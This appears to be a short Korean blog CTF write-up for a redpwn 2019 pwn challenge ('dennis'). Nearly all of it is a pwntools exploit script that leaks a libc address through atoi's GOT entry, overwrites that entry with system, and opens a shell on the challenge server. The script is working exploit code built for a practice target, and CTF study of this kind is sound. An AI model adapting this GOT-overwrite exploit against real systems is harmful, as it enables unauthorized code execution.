728x90

yeet()을 통해 원하는 주소에 값을 쓸 수 있다!

from pwn import *

s = remote("chall2.2019.redpwn.net",4006)
elf = ELF("./dennis")
libc = ELF("./libc.so.6")

def greet(size):
	s.sendlineafter("Command me: ","1")
	s.sendlineafter("greet? : ",str(size))

def writ(size):
	s.sendlineafter("Command me: ","2")
	s.sendlineafter("? : ",str(size))

def yeet():
	s.sendlineafter("Command me: ","3")

def eat(content):
	s.sendlineafter("Command me: ","4")
	s.sendlineafter("Pizza: ",content)

def delet():
	s.sendlineafter("Command me: ","5")
	

def repeat(content):
	s.sendlineafter("Command me: ","6")
	s.sendlineafter("repeat",content)	

def bye():
	s.sendlineafter("Command me: ","7")


greet(32)
eat(p32(elf.got['atoi'])+p32(0x0804B050))
yeet()

writ(4)
leak = u32(s.recv(4))
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['atoi']
print "libc_base : " + hex(libc_base)
system = libc_base + libc.symbols['system']
print "system : " + hex(system)

eat(p32(system))

s.sendlineafter("me: ","1")
s.sendlineafter("?","sh")

s.interactive()

 

'PWN > CTF' 카테고리의 다른 글

[SECCON_2018] kindvm  (0) 2019.11.11
[Codegate_2019] aeiou  (0) 2019.11.11
[RCTF 2018] babyheap  (0) 2019.08.14
[HITCON 2016] house_of_orange  (0) 2019.08.13
[WITHCON 2016] normal malloc  (0) 2019.02.26